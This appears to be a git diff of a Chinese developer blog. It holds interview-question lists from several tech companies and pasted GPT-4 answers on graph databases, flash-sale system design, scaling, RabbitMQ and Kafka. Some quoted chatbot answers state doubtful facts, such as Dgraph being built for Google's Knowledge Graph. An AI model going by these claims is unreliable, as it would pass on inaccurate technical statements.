  • Dgraph: 是一个分布式的、可扩展的、事务性的图数据库,它的设计目标是为 Google 的知识图谱提供实时服务。Dgraph 提供了一种类似于 GraphQL 的查询语言,并支持 ACID 事务。相比于 Neo4j,Dgraph 的一个优点在于其分布式的特性,使其可以更好地处理大规模的图数据。
  • JanusGraph: 是一个可以扩展的图数据库,支持多个后端存储(如 Apache Cassandra、Apache HBase 和 Google Cloud Bigtable),并支持全局图查询。JanusGraph 的一个主要优点在于其插件化的架构,使得它可以灵活地适配不同的后端存储和索引技术。
以上这些图数据库各有优缺点,选择哪一个最适合你,取决于你的具体需求和偏好。

 
给我举一个使用图数据库的具体案例,并且给我java代码
图数据库在许多领域都有应用,例如社交网络、推荐系统、生物信息学等。这里我将给你一个简单的社交网络的案例。
假设我们有一个社交网络,我们想要找出两个用户之间的最短路径(也就是他们之间的关系链)。我们可以使用 Neo4j 图数据库来存储和查询这个社交网络。
这是一段使用 Neo4j Java API 来创建节点和关系,并查询两个节点之间的最短路径的代码。
首先,添加 Maven 依赖:
然后,这是 Java 代码:
在这个例子中,我们首先创建了三个节点(Alice、Bob 和 Charlie),然后创建了两个关系(Alice 知道 Bob,Bob 知道 Charlie)。然后,我们使用 shortestPath 函数来查询 Alice 到 Charlie 的最短路径。
注意,这个例子假设你已经在本地运行了 Neo4j,并且用户名和密码分别是 "neo4j" 和 "password"。你也需要在你的 Maven 项目中添加 Neo4j Java driver 的依赖。

总结

  • 对比关系型数据库和kv数据库,图形数据库高效处理复杂的多对多关系
  • neo4j基于jvm的,这个可以着重关注下
  • 社交网络、推荐系统可以使用图数据库
  • 最短路径问题案例,确实使用sql来写很麻烦,要多次io

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
万里长征-02-跟谁学万里长征
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240405-LM.html b/article/240405-LM.html index 6bc9e73e7..ebfe562df 100644 --- a/article/240405-LM.html +++ b/article/240405-LM.html @@ -1,4 +1,4 @@ -万里长征 | Both Savage

万里长征

type
status
date
slug
summary
tags
category
icon
password

引言

待到秋来九月八,我花开后百花杀

1.贝壳

  • LeetCode 199,二叉树右视图。
  • Dubbo跟 SpringCloud 区别,自己从宏观到细节简单对比着说下。
  • 限流算法中的令牌跟漏斗区别。Zuul 作用。
  • 项目细节讲解,流程图,瓶颈在哪儿。
  • 开发人员写出死循环,发布上线后如何查出此问题来。
  • QPS,如何压测,性能测试,性能指标。
  • 性能优化经验,聊一聊。
  • 线程池说下,如果一堆线程任务有20%概率失败,如何保证100% 成功。
  • 关于图数据库的不同种类了解及对比,比如Neo4j、DGraph、GanusGraph。

2.跟谁学

  • LeetCode 662.二叉树最长直径。
  • 秒杀场景设计,逐步引导设计思路。
  • 如果项目数据量、并发度扩大十倍咋办,哪儿是性能瓶颈。
  • 消息中间件,如何保证消息不丢失,如何实现消息消费顺序性。Kafka为什么那么快,Kafka重平衡问题。
  • SpringCloud那套东西的压力感。
  • MySQL理解,事务隔离级别,MVCC,三个日志文件作用。
  • 现在做的东西的数据并发量跟业务复杂度探讨。
  • 操作系统中的阻塞、非阻塞、同步、异步、BIO、NIO、AIO细节。
  • LeetCode 215 TOP K。
  • Redis跟MySQL缓存一致性
  • 你对Dubbo底层理解。
  • 你对DDD的理解。

3.搜狐

  • MapJoin 是什么?
  • Hive 数据倾斜 咋办?
  • cluster by order by reduce by distribute by区别。
  • Kafka 为何那么快。
  • MySQL B树 B+树区别。
  • UDF、Spark、Netty、BIO、NIO、AIO框架。
  • LeetCode 103. 二叉树的锯齿形层序遍历。
  • 项目介绍,框架流程图,自己负责的部分,数据治理的理解及实战场景。
  • MapReduce流程, Shuffle过程细节,数据倾斜如何避免。
  • hive语句书写,开窗函数的考察。
  • ZooKeeper的理解,分布式事务2PC、3PC、TCC、Paxos实现思路及优缺点。
  • LeetCode 5. 最长回文子串。
  • HBase架构图,LSM理解。
  • Spark在工作中的应用细节。
  • Scala语言的熟悉程度,Scala跟Java的区别关系。

4.脉脉

  • MySQL 优化 查询 如何优化这些操作。
  • MySQL的 ACID理解,如何保证的,MySQL底层架构是啥。
  • Redis的几个基本数据类型,底层实现。
  • RabbitMQ工作的几种不同模式,数据如何保证顺序性跟不丢失,如何避免数据重复消费。
  • Linux 常见指令(说点高级指令比如tmux,awk,别扯 ls、cd)。
  • MySQL为什么不建议用Text。
  • MySQL limit 10W,10 这样的优化,覆盖索引的使用。
  • Linux CPU满负荷如何排查。
  • 链表是否有环, 如何找到交点,计算出环的大小。
  • 一个字符串中的最长无重复子串。
  • 一个帖子来回回复如何存储,如何设计。
  • 一个数组包含10W个数据,数据范围都在0~100,请求出两数相加和为100的情况一共多少种。
  • 分布式锁实现方案。
  • Redis为什么那么快,Redis底层实现。
  • RabbitMQ 中的TTL。
  • Redis中常见集群部署情况,出现性能问题如何排查。

5.小米

  • 两个字符串求最长公共子序列,最长子串。输出字符串结果的那种。
  • Hbase的理解,LSM演变过程。
  • 数据治理方面的理解。
  • 简单SQL语句考察,MySQL各种索引跟如何优化。
  • Kafka 重平衡,Kafka架构图的理解,读写流程。
  • LeetCode TOP K 。
  • 你对Spring的理解,循环依赖。
  • 不停机修改MySQL一个字段,如何对MySQL进行服务器扩容。
  • RabbitMQ 如何保证消息不丢失,如何保证消息顺序性。
  • 1G内存,1T文件,想找到出现次数第二大的字符串。
  • 进程间通信几种方式,每种方式的优劣性。
  • 地球上所有湖泊跟大海的体积如何求
  • 内核态跟用户态的理解,操作系统的几个核心点及调度算法。
  • 实现字符串语句翻转比如 I LOVE C++ 变为 C++ LOVE I。

6.百度

  • TCP 阻塞如何解决。
  • Java HashMap 7 跟 8 的流程设计理念,为什么7中会出现环。
  • Java 线程池参数。
  • Synchronized 的理解。
  • ReentrentLock 优势跟用法。
  • 公平锁跟 非公平锁 的理解。如何抉择用哪个。
  • Redis中的事务。
  • Redis中的zset底层。
  • Redis IO多路复用机制。
  • Kafka 为什么那么快,消费者组的理解,Kafka的重平衡。
  • MySQL隔离级别,MVCC理解。
  • Spring AOP的理解,实现原理,String字符串拼接成目标类然后通过反射出所需class。
  • LeetCode 572,判断 一个二叉树在另外一个二叉树中。
  • 二叉树左右节点互换,自己写出求解过程及测试用例。
  • 区间合并,自己写出求解过程及测试用例。
  • 多个链表进行合并,自己写出求解过程及测试用例。
  • HBase底层架构组成,LSM理解。
  • Clickhouse跟Spark的理解。

7.美团

  • 图数据的引擎了解么,简单聊一聊,Dgraph,JanusGraph。
  • 二叉树转换为双向链表,剑指offer 36 。
  • JVM 垃圾回收器 聊一聊,CMS优缺点,三色标记法过程细节,G1的优缺点跟实现过程 。
  • HashMap 跟 ConcurrentHashMap 区别跟细节实现,线程不安全在哪里?
  • Hive底层执行流程了解么。
  • 进程A操作变量x,然后报变量地址写入磁盘,进程B是否可以操作。
  • 类似360开机打败全国多少那种设计,正态分布。定期更新模型核心参数。
  • TCP 知识点考察。
  • 前端请求从发出到最终得到响应,整个数据的流转过程。
  • 设计一个数据结构支持O(1)的insert、remove、random。
  • RabbitMQ 跟 Kafka 对比下,说下对MQ的理解。
  • mmap java里怎么实现的,ZeroCopy的演变历程。
  • 在线服务如何保证稳定性
  • 常用的负载均衡算法,自己选择个负载均衡算法来实现并进行自测。
  • Dubbo 跟 Spring Cloud 开发的区别跟理解。
  • 常用限流方法,自己咋实现。
  • 分布式链路追踪的实现跟理解。
  • 对数据治理的理解。
  • 对JUC的理解。

万里长征

type
status
date
slug
summary
tags
category
icon
password

引言

待到秋来九月八,我花开后百花杀

1.贝壳

  • LeetCode 199,二叉树右视图。
  • Dubbo跟 SpringCloud 区别,自己从宏观到细节简单对比着说下。
  • 限流算法中的令牌跟漏斗区别。Zuul 作用。
  • 项目细节讲解,流程图,瓶颈在哪儿。
  • 开发人员写出死循环,发布上线后如何查出此问题来。
  • QPS,如何压测,性能测试,性能指标。
  • 性能优化经验,聊一聊。
  • 线程池说下,如果一堆线程任务有20%概率失败,如何保证100% 成功。
  • 关于图数据库的不同种类了解及对比,比如Neo4j、DGraph、GanusGraph。

2.跟谁学

  • LeetCode 662.二叉树最长直径。
  • 秒杀场景设计,逐步引导设计思路。
  • 如果项目数据量、并发度扩大十倍咋办,哪儿是性能瓶颈。
  • 消息中间件,如何保证消息不丢失,如何实现消息消费顺序性。Kafka为什么那么快,Kafka重平衡问题。
  • SpringCloud那套东西的压力感。
  • MySQL理解,事务隔离级别,MVCC,三个日志文件作用。
  • 现在做的东西的数据并发量跟业务复杂度探讨。
  • 操作系统中的阻塞、非阻塞、同步、异步、BIO、NIO、AIO细节。
  • LeetCode 215 TOP K。
  • Redis跟MySQL缓存一致性
  • 你对Dubbo底层理解。
  • 你对DDD的理解。

3.搜狐

  • MapJoin 是什么?
  • Hive 数据倾斜 咋办?
  • cluster by order by reduce by distribute by区别。
  • Kafka 为何那么快。
  • MySQL B树 B+树区别。
  • UDF、Spark、Netty、BIO、NIO、AIO框架。
  • LeetCode 103. 二叉树的锯齿形层序遍历。
  • 项目介绍,框架流程图,自己负责的部分,数据治理的理解及实战场景。
  • MapReduce流程, Shuffle过程细节,数据倾斜如何避免。
  • hive语句书写,开窗函数的考察。
  • ZooKeeper的理解,分布式事务2PC、3PC、TCC、Paxos实现思路及优缺点。
  • LeetCode 5. 最长回文子串。
  • HBase架构图,LSM理解。
  • Spark在工作中的应用细节。
  • Scala语言的熟悉程度,Scala跟Java的区别关系。

4.脉脉

  • MySQL 优化 查询 如何优化这些操作。
  • MySQL的 ACID理解,如何保证的,MySQL底层架构是啥。
  • Redis的几个基本数据类型,底层实现。
  • RabbitMQ工作的几种不同模式,数据如何保证顺序性跟不丢失,如何避免数据重复消费。
  • Linux 常见指令(说点高级指令比如tmux,awk,别扯 ls、cd)。
  • MySQL为什么不建议用Text。
  • MySQL limit 10W,10 这样的优化,覆盖索引的使用。
  • Linux CPU满负荷如何排查。
  • 链表是否有环, 如何找到交点,计算出环的大小。
  • 一个字符串中的最长无重复子串。
  • 一个帖子来回回复如何存储,如何设计。
  • 一个数组包含10W个数据,数据范围都在0~100,请求出两数相加和为100的情况一共多少种。
  • 分布式锁实现方案。
  • Redis为什么那么快,Redis底层实现。
  • RabbitMQ 中的TTL。
  • Redis中常见集群部署情况,出现性能问题如何排查。

5.小米

  • 两个字符串求最长公共子序列,最长子串。输出字符串结果的那种。
  • Hbase的理解,LSM演变过程。
  • 数据治理方面的理解。
  • 简单SQL语句考察,MySQL各种索引跟如何优化。
  • Kafka 重平衡,Kafka架构图的理解,读写流程。
  • LeetCode TOP K 。
  • 你对Spring的理解,循环依赖。
  • 不停机修改MySQL一个字段,如何对MySQL进行服务器扩容。
  • RabbitMQ 如何保证消息不丢失,如何保证消息顺序性。
  • 1G内存,1T文件,想找到出现次数第二大的字符串。
  • 进程间通信几种方式,每种方式的优劣性。
  • 地球上所有湖泊跟大海的体积如何求
  • 内核态跟用户态的理解,操作系统的几个核心点及调度算法。
  • 实现字符串语句翻转比如 I LOVE C++ 变为 C++ LOVE I。

6.百度

  • TCP 阻塞如何解决。
  • Java HashMap 7 跟 8 的流程设计理念,为什么7中会出现环。
  • Java 线程池参数。
  • Synchronized 的理解。
  • ReentrentLock 优势跟用法。
  • 公平锁跟 非公平锁 的理解。如何抉择用哪个。
  • Redis中的事务。
  • Redis中的zset底层。
  • Redis IO多路复用机制。
  • Kafka 为什么那么快,消费者组的理解,Kafka的重平衡。
  • MySQL隔离级别,MVCC理解。
  • Spring AOP的理解,实现原理,String字符串拼接成目标类然后通过反射出所需class。
  • LeetCode 572,判断 一个二叉树在另外一个二叉树中。
  • 二叉树左右节点互换,自己写出求解过程及测试用例。
  • 区间合并,自己写出求解过程及测试用例。
  • 多个链表进行合并,自己写出求解过程及测试用例。
  • HBase底层架构组成,LSM理解。
  • Clickhouse跟Spark的理解。

7.美团

  • 图数据的引擎了解么,简单聊一聊,Dgraph,JanusGraph。
  • 二叉树转换为双向链表,剑指offer 36 。
  • JVM 垃圾回收器 聊一聊,CMS优缺点,三色标记法过程细节,G1的优缺点跟实现过程 。
  • HashMap 跟 ConcurrentHashMap 区别跟细节实现,线程不安全在哪里?
  • Hive底层执行流程了解么。
  • 进程A操作变量x,然后报变量地址写入磁盘,进程B是否可以操作。
  • 类似360开机打败全国多少那种设计,正态分布。定期更新模型核心参数。
  • TCP 知识点考察。
  • 前端请求从发出到最终得到响应,整个数据的流转过程。
  • 设计一个数据结构支持O(1)的insert、remove、random。
  • RabbitMQ 跟 Kafka 对比下,说下对MQ的理解。
  • mmap java里怎么实现的,ZeroCopy的演变历程。
  • 在线服务如何保证稳定性
  • 常用的负载均衡算法,自己选择个负载均衡算法来实现并进行自测。
  • Dubbo 跟 Spring Cloud 开发的区别跟理解。
  • 常用限流方法,自己咋实现。
  • 分布式链路追踪的实现跟理解。
  • 对数据治理的理解。
  • 对JUC的理解。
  • 对于数据治理的理解,Java开发 + 大数据开发 + BI 报表 + 推荐搜索,整个数据流转的过程的认知。

8.字节

  • 项目介绍,你负责的模块,技术难点。
  • Kafka为什么那么快,Kafka重平衡咋处理的
  • HTTP的发展史理解优缺点,公钥、私钥理解跟加密过程。
  • 操作系统内存、进程、IO、文件管理的理解,自己大致说下理解。
  • Leetcode 8.atoi ,注意边界问题。
  • Hive执行底层流程。
  • Hadoop的发展史,自己说下HDFS、MapReduce、Yarn等组件跟数据流转过程。
  • Kafka生产者消费者速度不平衡咋办,Kafka重平衡。
  • Redis跟MySQL那套八股文的知识点。
  • LeetCode 236. 二叉树的最近公共祖先。
  • ZooKeeper 的理解。
  • 数据重复消费如何解决。
  • RabbitMQ 跟 Kafka 聊一聊 宏观 自己说那种。
  • 线程池如何实现参数的动态修改。
  • Hive执行的底层原理。
  • 字符串消消乐。

9.快手

  • 链表是否存在环,如果存在咋找到入口,如何获得环长度,为什么fast是2步,345步行不行?
  • 线程咋打断,interrupt 用法。
  • LeetCode 124,给定一个非空二叉树,返回最大路径和。
  • JUC 高频八股文考点。
  • syn跟Lock对比,如何进行选择性使用呢。
  • BitMap 统计那些数据出现过,那些没出现过。
  • 还有好几个是场景设计思考的题,当时能说个12,然后面试官会引导你,看你是否能说出个3来。
  • 业务数据处理时数据治理问题,如果规则引擎经常增删如何实现高效的对外服务。
  • 大数据从数据收集到对外提供服务的思维跟理念,数据从MySQL、Redis、MongoDB等各种平台获取到后,如何提供对外服务。如何提供高质量的服务呢
  • 数据提供服务需要考虑的点,OLAP、OLTP、高性能、高可用、高扩展。
  • A服务器a,B服务器文件b,如何判断ab文件是否一致,尽可能的避免来回传输。
  • MySQL用户数据,如何保证高可用,你对高并发的理解是啥。
  • 数据治理方面的思想idea。
  • 无损降级听过吗。
  • 布隆过滤器的思想,多个布隆过滤器的思想?
  • 服务治理的思考。
  • 10块糖,每次最多3个 如何保证必须赢, n块糖呢?如何保证赢。
  • 你负责的是什么部分,你感觉最大挑战是啥,选个感觉最好的项目说一说。
  • 你对大数据架构体系理解。fast counter 如何实现 类似 变量 i++那种(没及时沟通,充分理解题意)。最后知道考察的是LongAdder 跟 ThreadLocal。
  • hive 实现底层 ,开窗函数的考察。
  • Redis中的常见高频考点。
  • syn 对象头咋回事,锁升级过程。
  • 调度框架 爬取10万个URL,10万个URL 属于不同的节点, @@ -17,11 +17,11 @@ 9点发送,8点半挂了,故障恢复9点半启动redis,如何进行消息补偿
  • mockk框架不同请求针对不同的循环依赖数据,如何判别,保证幂等。

52.五年VIVO

  • CAS的问题及其解决办法
  • 公平非公平锁的实现
  • MySQL和Redis里面CAS用在什么地方?
  • 说一下MySQL的锁(MDL,Gap,index )..
  • 线上集群部分几台频繁GC,怎么处理
  • 讲一下上面你提到的DDD过程(战略、战术设计)

53.金蝶

  • springmvc工作流程
  • spring ioc,aop
  • JDK反射机制提供的代理和CGLIB代理区别
  • 数据库优化
  • 索引失效几种情况
  • 事务失效几种场景
  • springboot自动配置的原理
  • 自定义注解实现原理
  • 线程池参数和使用,拒绝策略有几种
  • jvm
  • 类加载
  • redis
  • springcloud常用组件
  • 消息中间件

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
万里长征-01-贝壳Java程序CPU异常监控bash脚本
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240405-cpu.html b/article/240405-cpu.html index e0a5bca31..6c371bac5 100644 --- a/article/240405-cpu.html +++ b/article/240405-cpu.html @@ -1,11 +1,11 @@ -Java程序CPU异常监控bash脚本 | Both Savage

Java程序CPU异常监控bash脚本

type
status
date
slug
summary
tags
category
icon
password

契机

最近线上Java程序CPU异常,暂时没有好的解决办法,故写个bash脚本去监听

思路

成品

notion image

运行命令

主脚本:monitor.sh

副脚本:arthas-profiler.sh

总结

  • arthas无法使用sleep命令
  • dump文件很难分析cpu占用,主要靠火焰图,top,dashboard
  • 这里是瞬间cpu占用,60秒一次一直扫

写到最后

notion image
+Java程序CPU异常监控bash脚本 | Both Savage

Java程序CPU异常监控bash脚本

type
status
date
slug
summary
tags
category
icon
password

契机

最近线上Java程序CPU异常,暂时没有好的解决办法,故写个bash脚本去监听

思路

成品

notion image

运行命令

主脚本:monitor.sh

副脚本:arthas-profiler.sh

总结

  • arthas无法使用sleep命令
  • dump文件很难分析cpu占用,主要靠火焰图,top,dashboard
  • 这里是瞬间cpu占用,60秒一次一直扫

写到最后

notion image
是在往前走就好 bothsavage.github.io -
 
notion image
 
万里长征mac体验ollama本地大模型
\ No newline at end of file +
\ No newline at end of file diff --git a/article/240408-LM-02.html b/article/240408-LM-02.html index 66c7d5be9..f8ec44584 100644 --- a/article/240408-LM-02.html +++ b/article/240408-LM-02.html @@ -1,4 +1,4 @@ -万里长征-02-跟谁学 | Both Savage

万里长征-02-跟谁学

type
status
date
slug
summary
tags
category
icon
password
以下内容基于GPT-4模型

问题

1.LeetCode662 二叉树最长直径

2.LeetCode215 TOPK

3.秒杀场景设计

GPT问答

Spring cloud项目现在要做一个秒杀场景的需求,给我从app端到服务端设计一套可用的方案
在设计一个秒杀系统的时候,需要考虑以下几个关键因素:高并发、系统可用性和数据一致性。
下面是一个基于Spring Cloud的秒杀系统的设计方案:
  1. 前端(App端):
    1. 使用请求缓冲和请求限流策略,例如令牌桶算法,防止大量请求同时涌向服务端造成服务崩溃。同时可以考虑使用CDN和浏览器缓存技术降低服务器负载。
  1. 后端(服务端):
    1. 服务端设计需要多层缓冲和优化:
      • Nginx负载均衡: Nginx可以实现反向代理和负载均衡,将流量合理分配到各个服务节点。
      • Spring Cloud Gateway: 使用Spring Cloud Gateway进行路由转发和请求过滤。
      • 分布式Session: 可以使用Spring Session将Session存储在Redis中,实现分布式Session。
      • 分布式锁: 在秒杀核心业务处理时,为了防止超卖,需要使用分布式锁。可以使用Redisson实现基于Redis的分布式锁。
      • 消息队列: 将创建订单的请求进行异步处理,提高系统处理能力。可以使用RabbitMQ或Kafka。
      • 数据库: 为了防止数据库的读写压力过大,可以使用读写分离的策略。在写方面,可以使用数据库的乐观锁防止超卖。在读方面,可以将商品的库存数量提前预热到Redis中,请求直接从Redis读取数据。
具体的秒杀流程可以设计如下:
  1. 用户发起秒杀请求,请求首先经过Nginx,由Nginx做负载均衡将请求转发到Spring Cloud Gateway。
  1. Spring Cloud Gateway根据路由规则将请求转发到具体的服务。
  1. 服务收到请求后,首先从Redis中获取用户的Session信息,然后从Redis中获取商品的库存信息。
  1. 如果库存充足,服务先使用Redisson获取分布式锁,然后在Redis中减少商品的库存数量。
  1. 减库存成功后,服务将创建订单的请求通过消息队列异步发送到订单服务。
  1. 订单服务收到消息后,使用数据库的乐观锁机制创建订单。
  1. 订单创建成功后,返回秒杀成功的消息给用户。
这只是一个大概的框架,具体的实现需要根据实际的业务需求进行调整。

网上资料

建议直接看极海方案,埋个坑输出一个博客 +万里长征-02-跟谁学 | Both Savage

万里长征-02-跟谁学

type
status
date
slug
summary
tags
category
icon
password
以下内容基于GPT-4模型

问题

1.LeetCode662 二叉树最长直径

2.LeetCode215 TOPK

3.秒杀场景设计

GPT问答

Spring cloud项目现在要做一个秒杀场景的需求,给我从app端到服务端设计一套可用的方案
在设计一个秒杀系统的时候,需要考虑以下几个关键因素:高并发、系统可用性和数据一致性。
下面是一个基于Spring Cloud的秒杀系统的设计方案:
  1. 前端(App端):
    1. 使用请求缓冲和请求限流策略,例如令牌桶算法,防止大量请求同时涌向服务端造成服务崩溃。同时可以考虑使用CDN和浏览器缓存技术降低服务器负载。
  1. 后端(服务端):
    1. 服务端设计需要多层缓冲和优化:
      • Nginx负载均衡: Nginx可以实现反向代理和负载均衡,将流量合理分配到各个服务节点。
      • Spring Cloud Gateway: 使用Spring Cloud Gateway进行路由转发和请求过滤。
      • 分布式Session: 可以使用Spring Session将Session存储在Redis中,实现分布式Session。
      • 分布式锁: 在秒杀核心业务处理时,为了防止超卖,需要使用分布式锁。可以使用Redisson实现基于Redis的分布式锁。
      • 消息队列: 将创建订单的请求进行异步处理,提高系统处理能力。可以使用RabbitMQ或Kafka。
      • 数据库: 为了防止数据库的读写压力过大,可以使用读写分离的策略。在写方面,可以使用数据库的乐观锁防止超卖。在读方面,可以将商品的库存数量提前预热到Redis中,请求直接从Redis读取数据。
具体的秒杀流程可以设计如下:
  1. 用户发起秒杀请求,请求首先经过Nginx,由Nginx做负载均衡将请求转发到Spring Cloud Gateway。
  1. Spring Cloud Gateway根据路由规则将请求转发到具体的服务。
  1. 服务收到请求后,首先从Redis中获取用户的Session信息,然后从Redis中获取商品的库存信息。
  1. 如果库存充足,服务先使用Redisson获取分布式锁,然后在Redis中减少商品的库存数量。
  1. 减库存成功后,服务将创建订单的请求通过消息队列异步发送到订单服务。
  1. 订单服务收到消息后,使用数据库的乐观锁机制创建订单。
  1. 订单创建成功后,返回秒杀成功的消息给用户。
这只是一个大概的框架,具体的实现需要根据实际的业务需求进行调整。

网上资料

建议直接看极海方案,埋个坑输出一个博客 https://bothsavage.github.io/article/240415-secondkill

总结

  • gpt又给我玩假大空
  • AC在高并发的保证,又要可用,又要一致,当然我们追求最终一致
  • 相同实例支撑的接口能缓存就要缓存
  • 分布式锁嘛,这个都说烂了
  • app也要做限流,在app做令牌桶限流确实是一个很好的方案,也可以当作成一个通用方案,还能防止app的死循环请求bug
  • 详细说明等我再把极海的视频梳理为文章

 

4.数据量并发度扩大十倍性能瓶颈

GPT问答

我的Spring cloud + mysql + redis项目,目前用户激增,访问量和数据量都扩大了100倍,你认为我的系统瓶颈在哪,怎么解决
在你的情况下,可能会遇到以下瓶颈:
  1. 硬件资源限制:例如,服务器 CPU、内存、I/O 等,可能会在高并发的情况下,成为瓶颈。
  1. 数据库瓶颈:当访问量和数据量增加时,数据库可能会变得过于繁忙,导致系统性能下降。这可能是由于查询效率低下、索引不合理、表设计不合理等原因造成的。
  1. Redis 瓶颈:Redis 是单线程的,因此在高并发场景下,可能会成为性能瓶颈。
  1. 网络瓶颈:如果网络带宽不足,或者网络延迟太高,也可能会成为瓶颈。
以下是可能的解决方案:
  1. 优化硬件资源:根据系统的需求增加硬件资源,例如增加服务器的 CPU、内存等。
  1. 数据库优化
      • 索引优化:检查查询是否都有合适的索引支持,没有的话,添加相应索引。
      • 查询优化:避免全表扫描,尽可能减少 JOIN 操作,避免使用 NOT IN 和 <> 操作符等。
      • 分库分表:当单表数据量过大时,可以考虑分库分表,以减少单个数据库的负载。
      • 读写分离:将读和写的操作分开,可以有效减轻数据库的压力。
      • 使用数据库中间件:例如 MyCAT、Sharding-Sphere 等。
  1. 优化 Redis
      • 使用 Redis 集群:通过分片将数据存储在多个 Redis 实例中,可以提高系统的并发处理能力。
      • 优化 Redis 配置:根据实际需求,优化 Redis 的配置参数。
  1. 服务的弹性扩展
      • 使用 Spring Cloud 的微服务架构:可以根据需求,动态地增加或减少服务实例。
      • 使用负载均衡:将请求均匀地分摊到多个服务器上,降低了每个服务器的负载。
  1. 使用 CDN 和缓存:使用 CDN 可以减少服务器的流量压力,使用缓存可以减少数据库的访问压力。
  1. 网络优化:提高网络带宽,优化网络结构,减少网络延迟。
每个系统的瓶颈可能都不同,所以需要结合实际情况,定位并解决瓶颈。

总结

  • 差不多但是说的比较宽泛
  • 就是RT要继续维持不要增高,分析热点请求加缓存等
  • 还有就是要减少io,其中mysql的优化是io减少的重要方式
  • 还要要追寻一致性问题,许多代码在写的时候没有考虑到高并发,该优化的优化,像支付订单等追求一致性的地方要提高RT的同时去追求最终一致性
 

5.MQ保证不丢失kafka快重平衡

GPT问答

rabbitmq是如何保证消息不丢失的,他的持久化策略是啥
RabbitMQ 提供了多种保证消息不会丢失的机制,包括消息持久化,队列持久化,消息确认等。
  1. 消息持久化:消息持久化可以通过设置 delivery_mode=2 来实现,当消息被持久化后,即使 RabbitMQ 服务重启,消息也不会丢失,因为他们被存储在磁盘上。但是,这并不能完全保证消息的持久性。因为,当你发布一个消息并且 RabbitMQ 返回一个确认,这个消息可能还没被保存到磁盘。RabbitMQ 可能只是将消息保存在缓存中,并没有真正的写入磁盘。
  1. 队列持久化:要持久化队列,你需要在声明队列的时候,将 durable 参数设置为 true。这样,即使 RabbitMQ 服务重启,队列的定义也不会丢失。
  1. 消息确认:RabbitMQ 提供了消息确认的机制,包括发布确认和消费确认。当消息被成功发布到一个队列,或者被一个消费者成功消费,RabbitMQ 会返回一个确认给发布者或者消费者。
  1. 镜像队列:RabbitMQ 还提供了镜像队列的功能,可以将队列的所有内容都复制到其他节点,如果一个节点挂掉,消息依然可以从其他节点获取。
以上都是 RabbitMQ 保证消息不丢失的方式,但是需要注意的是,开启持久化、消息确认等功能都会增加 RabbitMQ 服务的负载,可能会影响到 RabbitMQ 服务的性能。因此,需要根据实际业务情况进行权衡。

 
给我一个java代码例子,并且如果confirm不及时要及时重发
以下是一个简单的使用 RabbitMQ Confirm 机制的 Java 代码示例。在这个示例中,我们创建了一个生产者,发送消息到 RabbitMQ 服务器。如果消息没有被 RabbitMQ 服务器确认,我们会尝试重新发送。
注意:这个例子使用了 waitForConfirms() 方法来等待 RabbitMQ 服务器的确认,如果没有收到确认,我们会尝试重新发送消息。这是一个简单的示例,实际应用中可能需要考虑更多的因素,例如:消息的重试次数、错误处理等。

 
kafka怎么保证消息不丢失的,他为什么快呢,kafka重平衡是啥
Kafka也提供了一些机制来保证消息不会丢失:
  1. 副本机制:Kafka的每条消息都会在多个副本上进行存储,这样即使其中某个副本发生故障,也能从其他副本中读取到数据,保证数据的可靠性。
  1. 持久化:Kafka的消息会被写入硬盘,保证了即使在Kafka服务器宕机的情况下,数据也不会丢失。
  1. 消息确认机制:Kafka提供了消息确认机制,当消息被成功写入副本后,生产者会收到一个ACK确认,这样可以确保消息已经成功提交。
Kafka为什么快呢?
  1. 零拷贝技术:Kafka使用了零拷贝技术,可以减少系统调用的次数,大大提高了数据读写的效率。
  1. 批处理:Kafka可以将多条消息打包在一起进行处理,这样可以减少网络请求的次数,提高了处理效率。
  1. 顺序读写:Kafka的消息是顺序写入的,而且大部分读操作也是顺序的,这样在磁盘进行IO操作时,可以大大提高效率。
Kafka的重平衡是什么?
重平衡(Rebalance)是Kafka的一种机制,它可以在消费者的数量发生变化时(例如新消费者加入,或者旧消费者退出),动态地将Topic的Partition分配给消费者,保证系统的负载均衡。这是Kafka保证高可用和负载均衡的

 
那么意味着kafka是cp的,假如集群有5个节点,我们打开confirm机制,即A消息在send的时候必须要有3个以上的节点落库才能cofirm是吧。如果是这样的给我用java代码写出他的底层实现,并且把rebalance的底层实现用java代码给我
首先,Kafka 是 AP 的,不是 CP 的。Kafka 的设计目标是高吞吐量和数据持久化,而不是强一致性。
其次,Kafka 的确认机制有三种级别:
  • acks=0:生产者不等待来自 broker 的确认。
  • acks=1:只等待 leader 的确认,不等待 follower 的确认。如果 leader 在确认后立即崩溃,消息将会丢失。
  • acks=all:等待所有的副本都确认。只要有一个副本存活,消息就不会丢失。
对于你说的“至少有 3 个节点确认”,你可能是指将 Kafka 的 min.insync.replicas 配置项设置为 3,这样,一个消息至少需要被 3 个副本确认才会被认为是已提交,进而生产者才会收到 ack。
下面是一个使用 Kafka 生产者的 Java 代码示例:
至于 Kafka 的 Rebalance 机制,这是由 Kafka 的消费者组协调器(Group Coordinator)和消费者组成员(Group Member)共同完成的一个过程,涉及到的逻辑比较复杂,涉及到 Kafka 的消费者 API、协调器、网络协议等多个方面,很难用一个简单的 Java 代码示例来展示。在使用 Kafka 消费者 API 的时候,Rebalance 是自动进行的,你不需要自己去实现这个过程。如果你想要了解更多关于 Rebalance 的底层实现,我建议你阅读 Kafka 的源代码和相关文档。

 
acks=all就表示cp,acks=0就表示ap是吧。还有零拷贝技术是啥,为什么说kafka的消息为顺序读写,rabbitmq不是顺序读写吗,他为啥不设计为顺序读写
首先,关于 CAP 理论,它描述的是一个分布式系统在面对分区容忍性(P)、一致性(C)和可用性(A)这三种特性时,最多只能满足其中的两项。Kafka 的 acks 参数的设置并不能直接决定 Kafka 是 CP 还是 AP。事实上,Kafka 的设计更偏向于 AP,因为 Kafka 允许在一定程度上牺牲一致性(例如,当部分副本失效时,仍然允许读写)。
零拷贝技术是指在进行数据传输时,不通过 CPU,直接从内存或者磁盘读取数据并发送到网络,或者从网络接收数据并写入内存或者磁盘,从而提高数据传输的效率,并减少 CPU 的使用。
Kafka 的消息是顺序读写的,这是因为 Kafka 的数据结构是日志(Log),每条消息都被追加到日志的尾部,消费者按顺序从日志中读取数据,这样可以充分利用磁盘的顺序读写特性,提高数据读写的效率。
